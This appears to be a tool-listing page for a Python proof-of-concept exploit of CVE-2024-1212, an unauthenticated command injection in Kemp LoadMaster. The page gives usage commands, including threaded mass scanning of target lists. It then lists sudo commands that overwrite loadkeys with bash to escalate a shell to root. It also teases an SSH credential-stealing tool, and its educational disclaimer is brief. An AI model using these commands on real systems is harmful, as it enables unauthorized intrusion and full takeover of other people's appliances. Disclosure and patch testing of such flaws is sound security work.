This Python script is designed as a proof of concept (PoC) to demonstrate an unauthenticated command injection vulnerability in Kemp LoadMaster, identified as CVE-2024-1212.
To use this script, Python 3 must be installed on your system. You can execute the script in the terminal or command prompt as follows:
python exploit.py --url "http://target-url.com"
To scan multiple targets from a file:
python exploit.py -f targets.txt -o vulnerable.txt -t 50
-u
, --url
: Specify a target URL for command injection.-f
, --file
: Specify a file containing target URLs to scan.-o
, --output
: Specify an output file for saving scan results.-t
, --threads
: Specify the number of threads to use for scanning.This tool is provided for educational purposes only and is designed to help security professionals test the vulnerability of their own systems. Unauthorized testing on systems that you do not have explicit permission to test is illegal and unethical. Use this tool responsibly.
Once a shell has been obtained, privilege escalation can be achieved by following these commands as per the researcher’s guidance:
sudo /bin/cp /bin/loadkeys /tmp/loadkeys
sudo /bin/cp /bin/bash /bin/loadkeys
sudo /bin/loadkeys -c /bin/bash
cp /tmp/loadkeys /bin/loadkeys
Playwright-MCP (Model Context Protocol) is a cutting-edge tool designed to bridge the gap between AI…
JBDev is a specialized development tool designed to streamline the creation and debugging of jailbreak…
The Kereva LLM Code Scanner is an innovative static analysis tool tailored for Python applications…
Nuclei-Templates-Labs is a dynamic and comprehensive repository designed for security researchers, learners, and organizations to…
SSH-Stealer and RunAs-Stealer are malicious tools designed to stealthily harvest SSH credentials, enabling attackers to…
Control flow flattening is a common obfuscation technique used by OLLVM (Obfuscator-LLVM) to transform executable…